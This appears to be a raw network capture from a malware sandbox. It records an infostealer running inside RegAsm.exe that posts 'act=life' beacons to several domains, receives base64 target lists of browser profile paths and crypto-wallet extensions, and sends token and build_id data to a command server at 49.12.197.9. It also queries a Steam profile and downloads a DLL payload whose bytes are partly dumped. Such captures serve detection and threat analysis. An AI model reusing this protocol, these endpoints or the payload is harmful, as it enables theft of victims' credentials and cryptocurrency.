2024-10-02 03:20:19 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49792	104.21.21.3	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mysterisop.site
2024-10-02 03:20:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:20 UTC	766	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1s8ivv14o708p9tkgccpgp0a5c; expires=Sat, 25 Jan 2025 21:06:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AxQR8wzDY2IqrvucWrx9kt%2FDa0sFPByzq0emGNnQOENTuUllxg4mncvSdJj5Sva8Ll7KIwmYxcrQP5T9MQAycDYXqtPWUifvae6S2hnVy7%2FI3WoI3mMIMyx4IJPy3lLR7Vw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e53ed1c430a-EWR
2024-10-02 03:20:20 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49793	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:20 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:20 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="token"174d6093c654313fe7d98b79f7b410d2------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------GDBFBFCBFBKECAAKJKFBCont
2024-10-02 03:20:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:20 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49794	104.21.17.174	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:20 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: absorptioniw.site
2024-10-02 03:20:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:21 UTC	774	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8kru973nfms8ph1rrgu6entqt3; expires=Sat, 25 Jan 2025 21:06:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ry3vHiBTNYtHddw7W%2Bg8Ks%2B1Pet3lQkxEro6UdTmTsxk%2BlsRcXFYuVM3iJAv7P7KBcWEODPg9JdaKFKUOhcEiCKpie8w6zzOhl2yZ28vYSgKhnTGIzYeF0dUnimq6lIHmSfVDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e599bb01a28-EWR
2024-10-02 03:20:21 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49795	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:21 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:21 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="token"174d6093c654313fe7d98b79f7b410d2------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------EGIDAFBAEBKKEBFIJEBKCont
2024-10-02 03:20:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:22 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49796	104.102.49.254	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:21 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-02 03:20:22 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 02 Oct 2024 03:20:22 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=9db9822fd9ac7ccc662c59c3; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-02 03:20:22 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-02 03:20:22 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-02 03:20:22 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-02 03:20:22 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49798	104.21.16.12	443	5328	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gravvitywio.store
2024-10-02 03:20:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-02 03:20:23 UTC	776	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8og3067mlkgb407i8sbu6c4slr; expires=Sat, 25 Jan 2025 21:07:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rNx3Bqxi70XToziySI8SUPm135HgsfzQDg1KzkhhpPvMaWednYPQ%2FFZKwl14l6mJCxgm2E1REtoJWD5zwK26eHRcNjSnyL8dg9F47%2BgDg8cP5PtgYId%2F23Hvuea%2BESr4qCaJ6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cc18e675ac04241-EWR
2024-10-02 03:20:23 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-02 03:20:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49797	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:22 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECGDBFCBKFIDHIDHDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5485 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:22 UTC	5485	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 37 34 64 36 30 39 33 63 36 35 34 33 31 33 66 65 37 64 39 38 62 37 39 66 37 62 34 31 30 64 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="token"174d6093c654313fe7d98b79f7b410d2------KECGDBFCBKFIDHIDHDHIContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------KECGDBFCBKFIDHIDHDHICont
2024-10-02 03:20:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:23 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49799	49.12.197.9	443	1700	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:23 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:24 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:24 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:20:24 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:20:24 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 03:20:24 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
